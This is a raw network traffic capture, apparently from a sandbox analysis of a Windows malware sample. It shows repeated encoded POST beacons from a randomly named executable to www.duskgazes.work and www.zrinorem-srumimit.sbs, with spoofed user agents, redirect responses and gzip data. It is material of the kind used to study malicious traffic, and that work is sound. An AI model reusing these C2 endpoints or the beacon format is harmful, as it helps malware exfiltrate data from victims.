3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?Yby=d2ydCtHpb8&QhKxhNP=UMqd3Rr/GgjcpDtMifF0hAVXULwugGyaJHdfF0vXYxuoY8NmwcRKHFRQ3Zc522gmFWLmVhpOr5FlbfkrODlmL/pMmEFBmvtdQsTPBX/BeC8bc9YX4gHB5yTSGVyOHdtWew=="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49952	3.33.130.190	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:15:07.934731960 CET	802	OUT	POST /zs4o/ HTTP/1.1 Host: www.duskgazes.work Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 208 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.duskgazes.work Referer: http://www.duskgazes.work/zs4o/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 31 32 61 50 55 74 61 38 66 6a 50 64 44 46 45 6d 58 6c 72 54 2f 68 51 33 43 75 35 52 49 78 71 57 4a 45 33 44 4a 55 49 2b 4e 78 70 30 6c 64 36 4d 58 66 6d 51 38 77 38 71 31 33 56 39 52 72 5a 4a 48 31 70 76 39 50 63 4b 63 4a 75 6a 70 50 64 75 77 63 35 4a 33 54 64 57 49 38 4e 32 31 76 6e 45 62 54 71 67 37 70 55 6c 43 33 68 4e 72 4b 58 4f 30 5a 41 63 32 6f 6c 47 68 6d 6e 6a 4b 53 65 78 74 77 6b 4a 51 52 33 77 53 6b 4a 58 65 70 33 59 51 71 37 55 6a 71 62 30 70 67 55 6e 72 6b 57 43 42 53 4a 59 45 74 59 6d 53 78 34 34 4f 6c 35 68 73 39 63 4d 33 76 36 4e 4a 31 58 43 6e 65 6f 34 4b 31 6e 44 4b 33 73 3d Data Ascii: QhKxhNP=12aPUta8fjPdDFEmXlrT/hQ3Cu5RIxqWJE3DJUI+Nxp0ld6MXfmQ8w8q13V9RrZJH1pv9PcKcJujpPduwc5J3TdWI8N21vnEbTqg7pUlC3hNrKXO0ZAc2olGhmnjKSextwkJQR3wSkJXep3YQq7Ujqb0pgUnrkWCBSJYEtYmSx44Ol5hs9cM3v6NJ1XCneo4K1nDK3s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49959	3.33.130.190	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:15:10.616044044 CET	822	OUT	POST /zs4o/ HTTP/1.1 Host: www.duskgazes.work Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 228 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.duskgazes.work Referer: http://www.duskgazes.work/zs4o/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 31 32 61 50 55 74 61 38 66 6a 50 64 46 55 55 6d 61 69 2f 54 36 42 51 34 63 65 35 52 43 52 71 53 4a 45 72 44 4a 56 39 35 4d 44 64 30 6b 2f 79 4d 57 65 6d 51 2f 77 38 71 2b 58 56 38 63 4c 5a 43 48 31 74 4a 39 4e 34 4b 63 4a 36 6a 70 4f 74 75 78 76 52 4b 30 6a 64 51 42 63 4e 77 6f 2f 6e 45 62 54 71 67 37 70 42 74 43 78 4a 4e 72 36 6e 4f 6d 74 63 62 6f 34 6c 46 32 57 6e 6a 63 69 65 31 74 77 6b 52 51 54 44 61 53 6e 78 58 65 70 6e 59 52 37 37 54 32 61 62 75 32 77 56 6f 37 58 4c 72 59 41 4e 74 43 76 52 68 46 7a 73 38 50 54 49 4c 32 66 55 6b 6b 50 57 31 5a 6d 66 31 32 75 4a 52 51 57 33 7a 55 67 35 4f 6a 41 41 2b 63 69 69 63 31 64 7a 39 51 62 35 45 45 6b 66 52 Data Ascii: QhKxhNP=12aPUta8fjPdFUUmai/T6BQ4ce5RCRqSJErDJV95MDd0k/yMWemQ/w8q+XV8cLZCH1tJ9N4KcJ6jpOtuxvRK0jdQBcNwo/nEbTqg7pBtCxJNr6nOmtcbo4lF2Wnjcie1twkRQTDaSnxXepnYR77T2abu2wVo7XLrYANtCvRhFzs8PTIL2fUkkPW1Zmf12uJRQW3zUg5OjAA+ciic1dz9Qb5EEkfR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49965	3.33.130.190	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:15:13.284480095 CET	1839	OUT	POST /zs4o/ HTTP/1.1 Host: www.duskgazes.work Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 1244 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.duskgazes.work Referer: http://www.duskgazes.work/zs4o/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 31 32 61 50 55 74 61 38 66 6a 50 64 46 55 55 6d 61 69 2f 54 36 42 51 34 63 65 35 52 43 52 71 53 4a 45 72 44 4a 56 39 35 4d 44 6c 30 6c 4d 71 4d 58 39 2b 51 2b 77 38 71 69 6e 56 35 63 4c 5a 6c 48 31 56 46 39 4e 45 67 63 4b 43 6a 6f 73 6c 75 67 75 52 4b 6a 54 64 51 44 63 4e 78 31 76 6d 47 62 54 36 6b 37 70 52 74 43 78 4a 4e 72 34 50 4f 6c 35 41 62 71 34 6c 47 68 6d 6e 76 4b 53 66 51 74 77 73 42 51 54 48 67 53 58 52 58 65 49 58 59 53 4a 54 54 30 36 62 77 31 77 55 33 37 58 48 77 59 42 68 58 43 75 56 48 46 78 38 38 4f 69 74 50 69 2b 73 75 35 2b 75 6c 63 78 4c 6a 6b 4a 35 55 57 58 57 63 52 41 78 58 72 7a 45 52 4b 56 71 72 78 73 48 77 54 36 70 65 43 53 57 77 49 31 31 56 4f 4b 76 69 30 34 36 44 38 39 59 34 76 56 45 56 52 64 35 4d 55 62 36 42 30 66 58 79 37 6c 5a 6b 66 68 62 6e 56 42 2f 61 68 6a 6d 55 78 67 2f 54 63 5a 4c 55 43 6e 6b 75 30 5a 37 44 5a 52 58 4c 2b 6b 74 67 36 32 41 2f 68 4b 57 78 33 52 73 30 41 32 54 5a 4d 75 70 6c 36 6c 49 71 7a 45 44 7a 5a 51 4b 48 7a 71 58 32 72 4d [TRUNCATED] Data Ascii: QhKxhNP=12aPUta8fjPdFUUmai/T6BQ4ce5RCRqSJErDJV95MDl0lMqMX9+Q+w8qinV5cLZlH1VF9NEgcKCjosluguRKjTdQDcNx1vmGbT6k7pRtCxJNr4POl5Abq4lGhmnvKSfQtwsBQTHgSXRXeIXYSJTT06bw1wU37XHwYBhXCuVHFx88OitPi+su5+ulcxLjkJ5UWXWcRAxXrzERKVqrxsHwT6peCSWwI11VOKvi046D89Y4vVEVRd5MUb6B0fXy7lZkfhbnVB/ahjmUxg/TcZLUCnku0Z7DZRXL+ktg62A/hKWx3Rs0A2TZMupl6lIqzEDzZQKHzqX2rM0LGLKn12nrHWfAjmII0ij5Acinzww3RbJ9YTIcYxEobSFoKUoDnc/jqt7cJqYX9CL5+k0QGj0Di4Eci8/GmlkYURuoNbbahnQeSf87sptceeUhFoXeAt4Z8JrcaUif6BWYXGM8ECPQvCwC2XZUE8/vncYhdZh1p4a6GrJFEapg582+jV7uoBtHmjbAnARm5J0BGgmWB1ecnleZLlbR3pXVT41Ew0sNgiUEvpWNyDKthNBuCgDd58HpI6zplZE6+JgwIbx/1MFBSYzzgxkcpeQXAnLBpO5eL5yPjmEFDROYEniGu+XwYBoHr7Q/8ztjtpEoi1AoaP72KGB9Tb6oo/viexBAWEfwJ4gb38SLr9hUpkZR8Kkri1vNkmyVcEnj9TUdTXo+eLpkOEjRg5zSWGnzChfS/jkl0DTlKvMxLiAb/zp6tSXYOZ7Bw2NOnYAZaiurBVMYeQhg9GS93Usl/cTVASHVXC3a7OOcEjv5g89N8mWbrFeGQPAZvJ+Fs77eqDGuHRXI+6S1I+gryXRZsxGMJY1Y/lHn3Qdgae/WoTJLcwMe3w8sJCGAyhKcIFcyTUCALq7g6D1OolnOf4IG5jlC2qh+a5zBqMWEytVMki5QOfsEAeRSHVBkSPlyYUFRcuvwoWcuf7kYwTS/Sr/hKs61HrT4uwX1E67B [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49973	3.33.130.190	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:15:15.980632067 CET	544	OUT	GET /zs4o/?QhKxhNP=40yvXZqQXwyOFTl0d1fxwhQGTsZjKCC3JWjHJEZ8IBZutO+YSqvvwioh1RBVRKlMIRVxucUqEMWgr+FAgfZYoR4vWuFQr4uBZgu5x5JrNmZwlLDog/JQkd5M42bUbwrevw==&Yby=d2ydCtHpb8 HTTP/1.1 Host: www.duskgazes.work Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Nov 28, 2024 09:15:17.045238018 CET	410	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 28 Nov 2024 08:15:16 GMT Content-Type: text/html Content-Length: 270 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 51 68 4b 78 68 4e 50 3d 34 30 79 76 58 5a 71 51 58 77 79 4f 46 54 6c 30 64 31 66 78 77 68 51 47 54 73 5a 6a 4b 43 43 33 4a 57 6a 48 4a 45 5a 38 49 42 5a 75 74 4f 2b 59 53 71 76 76 77 69 6f 68 31 52 42 56 52 4b 6c 4d 49 52 56 78 75 63 55 71 45 4d 57 67 72 2b 46 41 67 66 5a 59 6f 52 34 76 57 75 46 51 72 34 75 42 5a 67 75 35 78 35 4a 72 4e 6d 5a 77 6c 4c 44 6f 67 2f 4a 51 6b 64 35 4d 34 32 62 55 62 77 72 65 76 77 3d 3d 26 59 62 79 3d 64 32 79 64 43 74 48 70 62 38 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?QhKxhNP=40yvXZqQXwyOFTl0d1fxwhQGTsZjKCC3JWjHJEZ8IBZutO+YSqvvwioh1RBVRKlMIRVxucUqEMWgr+FAgfZYoR4vWuFQr4uBZgu5x5JrNmZwlLDog/JQkd5M42bUbwrevw==&Yby=d2ydCtHpb8"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49984	172.67.222.69	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:15:22.555114031 CET	823	OUT	POST /xyvr/ HTTP/1.1 Host: www.zrinorem-srumimit.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 208 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.zrinorem-srumimit.sbs Referer: http://www.zrinorem-srumimit.sbs/xyvr/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 4f 6d 58 51 54 38 39 72 76 37 6f 64 76 32 59 49 31 67 38 65 57 56 43 77 38 43 6d 48 30 35 77 49 73 55 67 4e 42 76 56 5a 6d 5a 37 69 70 32 4b 2f 55 76 68 51 39 30 54 62 2b 68 31 68 70 30 34 32 78 4c 70 5a 30 75 43 4c 4d 77 66 75 79 44 39 2b 39 74 6a 50 6b 53 33 72 34 70 5a 59 69 59 55 72 6a 53 4e 6e 44 6d 6f 6f 30 77 6d 6b 65 2b 47 62 62 59 56 61 30 61 45 75 45 74 70 4a 53 50 33 44 73 51 52 64 79 44 44 6b 41 5a 70 79 4d 74 55 66 63 63 56 44 49 36 37 57 67 41 45 2f 65 34 71 72 51 74 74 51 46 54 55 6e 6f 62 36 76 7a 45 6b 73 4a 79 6d 38 4e 4e 65 2f 4a 68 66 2b 4b 6a 6c 70 48 39 5a 79 36 56 34 3d Data Ascii: QhKxhNP=OmXQT89rv7odv2YI1g8eWVCw8CmH05wIsUgNBvVZmZ7ip2K/UvhQ90Tb+h1hp042xLpZ0uCLMwfuyD9+9tjPkS3r4pZYiYUrjSNnDmoo0wmke+GbbYVa0aEuEtpJSP3DsQRdyDDkAZpyMtUfccVDI67WgAE/e4qrQttQFTUnob6vzEksJym8NNe/Jhf+KjlpH9Zy6V4=
Nov 28, 2024 09:15:23.873202085 CET	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 28 Nov 2024 08:15:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Sat, 14 Sep 2024 06:51:15 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aiTvGJUOdRFKR9plj95L8vps6suq%2Fp71DOmgp%2FA0eaTabHxfo7A5e24OCP2PEuyhmzBa6qq3ir0jS9XCixpPdQTJDDNFlY2wfVrDXC4yvRrXjKtKF%2BEHreozL2%2B5HoTnthZw5a5I0%2BNGCRIk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e98e8ebefebc439-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1456&min_rtt=1456&rtt_var=728&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=823&delivery_rate=0&cwnd=205&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 64 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 54 df 6f d3 30 10 7e df 5f 71 04 81 40 22 75 d3 0e b6 26 69 a4 d1 6e 62 12 3f 26 56 04 3c ba c9 35 36 24 76 b0 af 69 c3 c4 ff 8e 9c 64 6d 27 c6 c4 03 ce 8b 73 f7 dd f7 dd d9 77 8e 1f cd 3f cc 16 5f af ce 41 50 59 c0 d5 a7 d7 6f 2f 67 e0 f9 8c 7d 1e cf 18 9b 2f e6 f0 e5 cd e2 dd 5b 08 06 43 b8 26 23 53 62 ec fc bd 07 9e 20 aa 42 c6 36 9b cd 60 33 1e 68 93 b3 c5 47 b6 75 2c 81 0b eb b7 be 6d 63 06 19 65 5e 72 14 b7 22 db b2 50 76 7a 0f 41 30 99 4c ba 38 cf 81 c2 82 ab 7c ea a1 f2 60 b7 4b 62 81 3c 4b 8e 00 00 62 92 54 60 72 3c 3c 86 a7 65 c6 ad 88 e0 bd 26 b8 d0 6b 95 c5 ac 73 76 c0 12 89 83 d3 f3 f1 c7 5a d6 53 6f a6 15 a1 22 7f d1 54 e8 41 da fd 4d 3d c2 2d 31 a7 1f 41 2a b8 b1 48 d3 4f 8b 0b ff d4 63 87 44 8a 97 38 f5 32 b4 a9 91 15 49 ad 0e 18 ae b5 31 cd 0b a8 78 8e a0 34 c1 ca 25 b3 0b b7 d4 14 08 d4 54 d8 6b a5 d6 7a 9d cf ad a5 ce 1a b8 59 69 45 be 95 3f 31 0c 8e ab 6d 04 a9 2e b4 09 1f 9f b4 2b 82 d6 bd e2 a5 2c 9a 90 1b c9 8b 08 1c 95 cf 0b 99 [TRUNCATED] Data Ascii: 2daTo0~_q@"u&inb?&V<56$vidm'sw?_APYo/g}/[C&#Sb B6`3hGu,mce^r"PvzA0L8\|`Kb<KbT`r<<e&ksvZSo"TAM=-1A*HOcD82I1x4%TkzYiE?1m.+,0EEh_;Na<PN&g'g
Nov 28, 2024 09:15:23.873219967 CET	381	IN	Data Raw: 94 dc e4 52 85 70 32 ac b6 30 74 df 21 c1 08 6e 3a 3c 3c 9e 9f bf 9a bd 9c df cd 01 fa 24 f6 22 30 6a 45 5a c3 06 65 2e 28 84 a5 2e b2 08 0a 24 42 e3 db 8a a7 52 e5 21 f8 81 03 de ca fb e3 56 7e 3c a9 b6 07 fa 15 dc 6c 64 46 22 1c 77 b4 7f 16 db Data Ascii: Rp20t!n:<<$"0jEZe.(.$BR!V~<ldF"w(kQo0vkB:T6>~9~uvPK+1<%Yk4A(f^0MO#6XKYJe^r=f<YaDpk%WnRz_&}_XN@i6h4R@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49991	172.67.222.69	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:15:25.222577095 CET	843	OUT	POST /xyvr/ HTTP/1.1 Host: www.zrinorem-srumimit.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 228 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.zrinorem-srumimit.sbs Referer: http://www.zrinorem-srumimit.sbs/xyvr/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 4f 6d 58 51 54 38 39 72 76 37 6f 64 75 57 49 49 7a 48 6f 65 51 31 43 78 67 79 6d 48 74 70 77 55 73 55 73 4e 42 71 6b 45 6d 76 54 69 70 58 36 2f 58 75 68 51 7a 55 54 62 78 42 31 6b 74 30 35 36 78 4c 74 76 30 76 2b 4c 4d 77 4c 75 79 44 4e 2b 2b 61 50 4d 6c 43 33 70 77 4a 5a 61 39 49 55 72 6a 53 4e 6e 44 6c 56 44 30 30 4b 6b 66 4f 32 62 42 36 39 5a 33 61 45 70 53 64 70 4a 42 66 33 50 73 51 52 76 79 47 6a 4f 41 66 6c 79 4d 73 6b 66 66 4e 56 41 64 71 37 59 74 67 46 4f 4e 70 54 53 5a 64 35 51 46 43 70 32 2f 34 6d 41 79 79 56 47 54 51 75 55 65 74 79 48 5a 79 58 4a 62 54 45 41 64 65 4a 43 6b 43 75 78 4e 2b 59 44 64 78 5a 41 48 56 34 4d 45 77 57 43 65 70 76 35 Data Ascii: QhKxhNP=OmXQT89rv7oduWIIzHoeQ1CxgymHtpwUsUsNBqkEmvTipX6/XuhQzUTbxB1kt056xLtv0v+LMwLuyDN++aPMlC3pwJZa9IUrjSNnDlVD00KkfO2bB69Z3aEpSdpJBf3PsQRvyGjOAflyMskffNVAdq7YtgFONpTSZd5QFCp2/4mAyyVGTQuUetyHZyXJbTEAdeJCkCuxN+YDdxZAHV4MEwWCepv5
Nov 28, 2024 09:15:26.487931013 CET	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 28 Nov 2024 08:15:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Sat, 14 Sep 2024 06:51:15 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=59BQ5sQlMG%2F1MryFme4dyRB%2BCa6iuggC5IZ32I0NCZ3WUdQmqT9AWANf6fRMOLB%2FajHO7OddhU%2FXNEAmmj%2FzjQYHfTNdbqP5e6zIVLqhhidAyllh57%2BaqtwI3yDjHpEgGZehV18TeL1Wh%2BXJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e98e8fc5ba95e7c-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1574&min_rtt=1574&rtt_var=787&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=843&delivery_rate=0&cwnd=181&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 63 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 54 df 6f d3 30 10 7e df 5f 71 04 81 40 22 75 d3 0e b6 26 69 a4 d1 6e 62 12 3f 26 56 04 3c ba c9 35 36 24 76 b0 af 69 c3 c4 ff 8e 9c 64 6d 27 c6 c4 03 ce 8b 73 f7 dd f7 dd d9 77 8e 1f cd 3f cc 16 5f af ce 41 50 59 c0 d5 a7 d7 6f 2f 67 e0 f9 8c 7d 1e cf 18 9b 2f e6 f0 e5 cd e2 dd 5b 08 06 43 b8 26 23 53 62 ec fc bd 07 9e 20 aa 42 c6 36 9b cd 60 33 1e 68 93 b3 c5 47 b6 75 2c 81 0b eb b7 be 6d 63 06 19 65 5e 72 14 b7 22 db b2 50 76 7a 0f 41 30 99 4c ba 38 cf 81 c2 82 ab 7c ea a1 f2 60 b7 4b 62 81 3c 4b 8e 00 00 62 92 54 60 72 3c 3c 86 a7 65 c6 ad 88 e0 bd 26 b8 d0 6b 95 c5 ac 73 76 c0 12 89 83 d3 f3 f1 c7 5a d6 53 6f a6 15 a1 22 7f d1 54 e8 41 da fd 4d 3d c2 2d 31 a7 1f 41 2a b8 b1 48 d3 4f 8b 0b ff d4 63 87 44 8a 97 38 f5 32 b4 a9 91 15 49 ad 0e 18 ae b5 31 cd 0b a8 78 8e a0 34 c1 ca 25 b3 0b b7 d4 14 08 d4 54 d8 6b a5 d6 7a 9d cf ad a5 ce 1a b8 59 69 45 be 95 3f 31 0c 8e ab 6d 04 a9 2e b4 09 1f 9f b4 2b 82 d6 bd e2 a5 2c 9a 90 1b c9 8b 08 1c 95 cf 0b 99 [TRUNCATED] Data Ascii: 2cfTo0~_q@"u&inb?&V<56$vidm'sw?_APYo/g}/[C&#Sb B6`3hGu,mce^r"PvzA0L8\|`Kb<KbT`r<<e&ksvZSo"TAM=-1A*HOcD82I1x4%TkzYiE?1m.+,0EEh_;Na<PN&g
Nov 28, 2024 09:15:26.488049984 CET	390	IN	Data Raw: 27 67 17 11 94 dc e4 52 85 70 32 ac b6 30 74 df 21 c1 08 6e 3a 3c 3c 9e 9f bf 9a bd 9c df cd 01 fa 24 f6 22 30 6a 45 5a c3 06 65 2e 28 84 a5 2e b2 08 0a 24 42 e3 db 8a a7 52 e5 21 f8 81 03 de ca fb e3 56 7e 3c a9 b6 07 fa 15 dc 6c 64 46 22 1c 77 Data Ascii: 'gRp20t!n:<<$"0jEZe.(.$BR!V~<ldF"w(kQo0vkB:T6>~9~uvPK+1<%Yk4A(f^0MO#6XKYJe^r=f<YaDpk%WnRz_&}_XN@i6h4R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49999	172.67.222.69	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:15:27.887921095 CET	1860	OUT	POST /xyvr/ HTTP/1.1 Host: www.zrinorem-srumimit.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 1244 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.zrinorem-srumimit.sbs Referer: http://www.zrinorem-srumimit.sbs/xyvr/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 4f 6d 58 51 54 38 39 72 76 37 6f 64 75 57 49 49 7a 48 6f 65 51 31 43 78 67 79 6d 48 74 70 77 55 73 55 73 4e 42 71 6b 45 6d 76 62 69 70 46 79 2f 56 4e 35 51 79 55 54 62 76 78 31 6c 74 30 34 67 78 50 41 6d 30 76 7a 30 4d 7a 7a 75 67 77 46 2b 70 62 50 4d 76 43 33 70 38 70 5a 58 69 59 55 79 6a 53 38 50 44 6c 46 44 30 30 4b 6b 66 4e 75 62 58 34 56 5a 37 36 45 75 45 74 70 73 53 50 33 72 73 54 68 56 79 47 76 30 48 76 46 79 4d 4d 30 66 50 76 74 41 41 61 37 4e 71 67 46 57 4e 6f 76 7a 5a 63 56 6d 46 43 63 68 2f 34 4f 41 2b 48 6f 67 55 30 2f 4f 45 75 65 2f 64 6c 44 4b 4c 48 63 4d 58 59 4a 73 37 54 65 76 4e 50 4d 49 61 52 68 53 53 55 56 34 57 47 65 55 62 66 47 48 33 71 5a 51 58 4e 4b 2b 59 78 4b 6d 63 61 70 51 49 61 48 38 4a 38 69 4c 73 6d 68 78 41 30 6e 50 52 2b 41 35 55 74 55 6d 6b 6b 54 67 57 44 59 69 6a 78 4c 62 44 2f 71 59 6c 34 49 6e 37 57 4f 32 47 56 38 35 5a 73 76 78 4b 63 48 67 4a 75 63 72 37 79 44 6e 39 48 4b 73 30 35 56 6c 65 5a 78 67 6e 2f 7a 46 36 4d 75 61 70 2f 41 36 64 54 [TRUNCATED] Data Ascii: QhKxhNP=OmXQT89rv7oduWIIzHoeQ1CxgymHtpwUsUsNBqkEmvbipFy/VN5QyUTbvx1lt04gxPAm0vz0MzzugwF+pbPMvC3p8pZXiYUyjS8PDlFD00KkfNubX4VZ76EuEtpsSP3rsThVyGv0HvFyMM0fPvtAAa7NqgFWNovzZcVmFCch/4OA+HogU0/OEue/dlDKLHcMXYJs7TevNPMIaRhSSUV4WGeUbfGH3qZQXNK+YxKmcapQIaH8J8iLsmhxA0nPR+A5UtUmkkTgWDYijxLbD/qYl4In7WO2GV85ZsvxKcHgJucr7yDn9HKs05VleZxgn/zF6Muap/A6dTu3X7Rp/+2wuSDljTmfWZQkmCTMf1gshHzbtN9A0KYL6C2VEJu08QVObnOPPkLEG359pjCUFcq1bL2rj3f+skm76PlUIP96CxENKJQX7b1InNrgwfbVcYjahqXF+UY5C27bKtH8xXPu26bwFBDZ+BPn09JPCZHBLajjsNYrazQN31zf/7xk9MMZTPNaVZ1gMYScPzBiJuOS1c/W01xz/3s/Ts3xNnVrn2iUacaMozgEIIU5WwZ/XsuDYGEt6/NLSyVM5WowIjw5p+hKiEHt5rr4ePs1uV5C7+7Fp9BHeoyzEd4DIqCgfB7Af03vXQaSTDwNZLKjrVk9fQREl5ONcAS+EUL6sDgWchtjBCenRRqOt+iFe5EH7Q/JDTZNScjNEEXSHKr4a1df5S8MwATaAlID7eQr0QXn6xk4M07hojmT1UuI9uEoccdfSiI4zg+XWR2EbUejbW4DtLpA1NOQ6YwSQ9IuAPJ2a7v2zj6fxmy/cWrFRbhTkKnxj9zmq9yCH6b7OBENLXu/cBjpGcTsGlbwvuPjyFUVfGuUxZ0QSpoPbu/ly31TldzP0vCjr2rQz8NsryeAPxOUtnpBSwB8sI4gn84peJtj7/WAhl5P9cSFF6Ulv15OrrLBYCATJNHuLEoIhCV8i5Pv3auIYUXEZ/M3ylKjH+vCKI+C [TRUNCATED]
